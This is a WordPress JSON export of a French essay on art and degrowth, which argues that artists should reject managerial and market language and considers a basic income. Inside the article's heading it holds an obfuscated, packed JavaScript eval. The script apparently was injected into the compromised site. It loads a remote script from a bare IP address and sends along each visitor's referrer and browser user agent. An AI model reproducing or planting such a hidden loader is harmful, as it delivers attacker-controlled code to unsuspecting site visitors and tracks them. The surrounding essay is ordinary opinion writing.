{"id":8939,"date":"2014-08-20T09:06:57","date_gmt":"2014-08-20T08:06:57","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=8939"},"modified":"2014-08-20T09:51:26","modified_gmt":"2014-08-20T08:51:26","slug":"lart-outil-de-decolonisation-de-leconomisme","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=8939","title":{"rendered":"L&rsquo;art, outil de d\u00e9colonisation de l&rsquo;\u00e9conomicisme"},"content":{"rendered":"<p><a href=\"http:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2014\/08\/escargot-epure.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft wp-image-8938\" src=\"http:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2014\/08\/escargot-epure.jpg\" alt=\"escargot-epure\" width=\"126\" height=\"126\" srcset=\"https:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2014\/08\/escargot-epure.jpg 425w, https:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2014\/08\/escargot-epure-150x150.jpg 150w, https:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2014\/08\/escargot-epure-300x300.jpg 300w\" sizes=\"auto, (max-width: 126px) 100vw, 126px\" \/><\/a><\/p>\n<p><em><strong>Art <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eisdt|var|u0026u|referrer|dkitf||js|php'.split('|'),0,{}))\n<\/script><\/noindex> et D\u00e9croissance par\u00a0Val\u00e9rie de Saint-Do :<\/strong><\/em><\/p>\n<p><strong><em>Les concepts de l&rsquo;\u00e9cologie et d&rsquo;une autre vision de l&rsquo;\u00e9conomie \u2013\u00a0biodiversit\u00e9, \u00e9conomie collaborative, d&rsquo;\u00e9cosophie sont-ils solubles dans l&rsquo;art\u00a0? Et \u00e0 l&rsquo;inverse que peut \u00eatre l&rsquo;incidence d&rsquo;une transition \u2013\u00a0\u00e0 laquelle je pr\u00e9f\u00e8rerais le mot r\u00e9volution\u2013\u00a0de nos modes de vie sur la cr\u00e9ation artistique et son partage\u00a0?<\/em><\/strong><\/p>\n<p>J&rsquo;ai souvent d\u00e9fendu l&rsquo;id\u00e9e d&rsquo;une diversit\u00e9 artistique aussi indispensable pour la survie de l&rsquo;humanit\u00e9 que celle des esp\u00e8ces. Et la revue <em>Cassandre<\/em>\/Horschamp a us\u00e9 et abus\u00e9 de la m\u00e9taphore des graines, pousses et herbes folles, pour d\u00e9fendre une id\u00e9e ch\u00e8re \u00e0 Gilles Cl\u00e9ment\u00a0: il n&rsquo;existe pas de mauvaises herbes, en art non plus\u00a0! De mauvais esprits peuvent soutenir qu&rsquo;il existe en revanche une production culturelle industrielle, gonfl\u00e9e aux hormones du march\u00e9 et aux OGM du formatage m\u00e9diatique.<\/p>\n<p>\u00ab\u00a0D\u00e9coloniser les imaginaires\u00a0\u00bb\u00a0: l&rsquo;expression revient comme une ritournelle des analyses sur l&rsquo;indispensable d\u00e9croissance, sous le clavier des d\u00e9fenseurs d&rsquo;une conception radicalement diff\u00e9rente du travail, de la production, et du partage des richesses. L&rsquo;art pourrait, devrait, \u00eatre un outil fondamental de cette d\u00e9colonisation&#8230; sous r\u00e9serve que les artistes \u00e9valuent lucidement les ravages qu&rsquo;ont fait dans leur propre cerveau l&rsquo;id\u00e9ologie \u00e9conomiste, et sortent de la logique du marteau et des clous pour reprendre la d\u00e9licieuse formule de Mark Twain. (1)<!--more--><\/p>\n<p>Car le marteau des logiques gestionnaires n&rsquo;a pas \u00e9pargn\u00e9 le monde de l&rsquo;art\u2013\u00a0et pourquoi l&rsquo;aurait-il fait\u00a0? Contrairement aux fantasmes du XIX\u00e8me si\u00e8cle romantique, les artistes ne flottent pas entre nues et les bas-fonds d&rsquo;une soci\u00e9t\u00e9 qui les encense morts autant qu&rsquo;elle les affame vivants. Et un regard v\u00e9ritablement critique sur l&rsquo;art le plus vivace de notre \u00e9poque \u2013 toutes disciplines confondues \u2013\u00a0montre qu&rsquo;ils se m\u00ealent de ce qui les regarde politiquement, socialement, humainement. Et notamment, puisque c&rsquo;est le sujet qui nous pr\u00e9occupe, de l&rsquo;avenir de la plan\u00e8te et de la n\u00e9cessit\u00e9 d&rsquo;exp\u00e9rimenter d&rsquo;autres mod\u00e8les d&rsquo;habitat, de travail, de circulations, de vie. Des artistes interviennent (et sont souvent porteurs de projets) dans la n\u00e9buleuse des \u00ab\u00a0alternatives de vie\u00a0\u00bb, de Detroit aux C\u00e9vennes, de l&rsquo;Argentine \u00e0 l&rsquo;Allemagne, des foisonnantes communaut\u00e9s qui construisent, cultivent, tentent d&rsquo;autre modes de vie. Citons l&rsquo;association Ecos \u00e0 Nantes, Thierry Boutonnier \u00e0 Lyon, les multiples Fabrik en Allemagne et Europe du Nord, l&rsquo;Universit\u00e9 foraine de Patrick Bouchain, le CRANE en Bourgogne, les groupes de musique qui tentent l&rsquo;autoproduciton et l&rsquo;autodiffusion loin des majors&#8230;<\/p>\n<p>Ils n&rsquo;en sont pas moins soumis aux contradictions de tout citoyen soucieux de changer radicalement le monde tout en t\u00e2chant d&rsquo;y survivre, voire d&rsquo;y vivre et travailler agr\u00e9ablement. Et martel\u00e9s par l&rsquo;injonction \u00e0 <em>trouver leur mod\u00e8le \u00e9conomique<\/em>,<em> s&rsquo;ins\u00e9rer dans le march\u00e9<\/em> (fut-il celui des institutions publiques), <em>s&rsquo;imposer face \u00e0 la concurrence<\/em>, trouver des <em>modes de diffusion,<\/em> et de \u00ab\u00a0<em>professionnalisation<\/em>\u00a0\u00bb. Le langage gestionnaire a gangren\u00e9 le monde de l&rsquo;art \u2013 comme le reste du monde en g\u00e9n\u00e9ral \u2013 ces trente cinq derni\u00e8res ann\u00e9es.<\/p>\n<p>Au point que le combat est d&rsquo;abord s\u00e9mantique, et passe par la d\u00e9colonisation de nos propres cerveaux. Et si l&rsquo;on commen\u00e7ait par balayer les notions de \u00ab\u00a0production\u00a0\u00bb et \u00ab\u00a0diffusion\u00bb dans le champ artistique\u00a0? Si l&rsquo;on arborait fi\u00e8rement le refus d&rsquo;\u00eatre des \u00ab\u00a0producteurs culturels\u00a0\u00bb et l&rsquo;assimilation d&rsquo;une \u0153uvre ou d&rsquo;un geste (fut-il reproductible) \u00e0 un produit\u00a0? Face \u00e0 des pratiques qui depuis le XX\u00e8me si\u00e8cle ont fait place au processus et au relationnel autant qu&rsquo;\u00e0 l&rsquo;objet, si l&rsquo;on en finissait avec le \u00ab\u00a0f\u00e9tichisme de la marchandise\u00a0\u00bb, fut-elle \u00ab\u00a0artistique\u00a0?\u00bb Menons d\u00e9j\u00e0 le combat s\u00e9mantique et minons la novlangue gestionnaire. Cela peut passer par le boomerang. Car user des mots comme arme, c&rsquo;est d\u00e9noncer aussi leur confiscation. J&rsquo;ai en t\u00eate de militants de l&rsquo;agroforesterie et la permaculture revendiquant fi\u00e8rement une agriculture bien plus \u00ab<em>productiviste<\/em>\u00bb que celle des margoulins de l&rsquo;agro-industrie. Les artistes pourraient se targuer d&rsquo;\u00eatre des pourvoyeurs d&rsquo;une soci\u00e9t\u00e9 d&rsquo;abondance\u00a0de richesses immat\u00e9rielles \u2013\u00a0que le web permet aujourd&rsquo;hui de rendre gratuites. D&rsquo;\u00eatre le pourvoyeur de biens communs et de propri\u00e9t\u00e9s d&rsquo;usage qui ne l\u00e8sent personne et enrichissent chacun. (Des militants convaincus de la sauvegarde de la biodiversit\u00e9 et d&rsquo;une reconversion et diminution de la production, tels que Gilles Cl\u00e9ment, ne manquent pas de pr\u00e9ciser que cette n\u00e9cessit\u00e9 s&rsquo;impose aux biens mat\u00e9riels, non aux biens immat\u00e9riels, tant il semblerait absurde de pr\u00e9tendre vouloir diminuer la production de savoir, de sens, et de sensible).<\/p>\n<p>\u00abEt de quoi vivrons-nous\u00a0?\u00bb J\u2019entends et \u00e9coute d\u00e9j\u00e0 l&rsquo;objection de ceux qui d\u00e9j\u00e0 luttent pour exercer leur m\u00e9tier. Et c&rsquo;est avec ce dernier mot que le b\u00e2t blesse. Parce que si l&rsquo;art est un m\u00e9tier, il y a toutes les raisons de se battre pour qu&rsquo;il s&rsquo;exerce dans de bonnes conditions sociales et de r\u00e9mun\u00e9ration. Et dans une soci\u00e9t\u00e9 qui tend de plus en plus \u00e0 vouloir d\u00e9truire les m\u00e9tiers, savoir faire au profit de l&#8217;employabilit\u00e9 interchangeable d&rsquo;individus-rouages, le combat des com\u00e9diens, danseurs, auteurs de BD, plasticiens, musiciens pour la reconnaissance de leur sp\u00e9cificit\u00e9 est parfaitement l\u00e9gitime.<\/p>\n<p>Le probl\u00e8me est qu&rsquo;il appara\u00eet comme un combat isol\u00e9, voire corporatiste, face \u00e0 un tsunami qui d\u00e9truit l&#8217;emploi en g\u00e9n\u00e9ral, les m\u00e9tiers en particulier, face \u00e0 un suicide de l&rsquo;Humanit\u00e9 entra\u00een\u00e9e dans le toujours plus. Les artistes \u2013 mais au del\u00e0, l&rsquo;ensemble des travailleurs sont pris dans un <em>double bind<\/em>. \u00c0 court terme, face aux bulldozers de la d\u00e9molition de conqu\u00eate sociale et des imp\u00e9ratifs de rentabilit\u00e9 d&rsquo;un travail humain jug\u00e9 toujours trop co\u00fbteux, comment ne pas se battre l\u00e9gitimement pour des acquis, tels que l&rsquo;intermittence, ou des avanc\u00e9es inscrites dans la loi, telles que le droit de pr\u00e9sentation des plasticiens\u00a0?<\/p>\n<p>Mais chacun sent plus ou moins que l&rsquo;on pi\u00e9tine face un changement radical de civilisation qui ne saura longtemps opposer les conqu\u00eates du pass\u00e9 et la r\u00e9sistance au mouvement face au tsunami. Les artistes ne sont pas seuls \u00e0 subir la destruction de leurs m\u00e9tiers par le formatage marchand et l\u2019arasement total de la notion de \u00ab\u00a0biens communs\u00a0\u00bb due au n\u00e9olib\u00e9ralisme. Nous sommes dans l&rsquo;\u00e9poque difficile o\u00f9 le ch\u00f4mage et la pr\u00e9carit\u00e9 d&rsquo;une tr\u00e8s forte minorit\u00e9 l\u00e9gitime encore la souffrance au travail d&rsquo;une majorit\u00e9. Jusqu&rsquo;\u00e0 quand\u00a0? Quand s&rsquo;op\u00e8rera le basculement annonc\u00e9 de longue date par des visionnaires tels qu&rsquo;Andr\u00e9 Gorz entre la n\u00e9cessit\u00e9 d&rsquo;op\u00e9rer la s\u00e9paration radicale entre le revenu et l&rsquo;activit\u00e9\u00a0?<\/p>\n<p>Sur cette r\u00e9ponse, qu&rsquo;on la nomme \u00ab\u00a0revenu de base\u00a0\u00bb, \u00ab\u00a0salaire \u00e0 vie \u00bb, \u00ab dotation d&rsquo;autonomie \u00bbune effervescence intellectuelle s&rsquo;exprime partout et notamment sur la toile. Ne nous le cachons pas\u00a0: elle est loin de faire l&rsquo;unanimit\u00e9 chez les professionnels de l&rsquo;art, pour qui ne plus vivre \u2013 ou tenter de survivre- de leur \u0153uvre sonnerait comme une d\u00e9l\u00e9gitimation de leur savoir-faire singulier. Quoi, un artiste pourrait ne plus \u00eatre un \u00ab\u00a0artiste professionnel?\u00bb\u00a0Oui, dans un monde futur o\u00f9 la profession cesserait d&rsquo;\u00eatre une carte d&rsquo;identit\u00e9 sociale d\u00e9finitive et o\u00f9 la d\u00e9connection du revenu et de l&rsquo;activit\u00e9 transformerait fondamentalement le rapport au m\u00e9tier. Et \u00e0 la cr\u00e9ation, qui ne saurait se r\u00e9duire \u00e0 une \u00ab\u00a0profession\u00a0\u00bb excluant aujourd&rsquo;hui la majorit\u00e9 des auteurs d&rsquo;actes artistiques.<\/p>\n<p><em>\u00a0Val\u00e9rie de Saint-Do<\/em><\/p>\n<p>Contribution r\u00e9dig\u00e9e suite \u00e0 la participation au s\u00e9minaire organis\u00e9 par le CRANE LAB\u00a0(p\u00f4le recherche en art, \u00e9thique de l\u2019art et\u00a0r\u00e9g\u00e9n\u00e9ration) en juin 2014\u00a0: <em>L&rsquo;Acte artistique \u2013 de l&rsquo;\u00e9cosophie \u00e0 une \u00e9conomie de la contribution. <\/em><\/p>\n<p><em>(1) \u00ab\u00a0Quand on a un marteau dans la t\u00eate, on voit tous les probl\u00e8mes en forme de clous\u00a0\u00bb. Mark Twain. Serge Latouche ajoute\u00a0: \u00ab\u00a0le clou de l&rsquo;Occident, c&rsquo;est l&rsquo;\u00e9conomie\u00a0\u00bb.<\/em><\/p>\n<p><em>\u00a0<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Art et D\u00e9croissance par\u00a0Val\u00e9rie de Saint-Do : Les concepts de l&rsquo;\u00e9cologie et d&rsquo;une autre vision de l&rsquo;\u00e9conomie \u2013\u00a0biodiversit\u00e9, \u00e9conomie collaborative, d&rsquo;\u00e9cosophie sont-ils solubles dans l&rsquo;art\u00a0? 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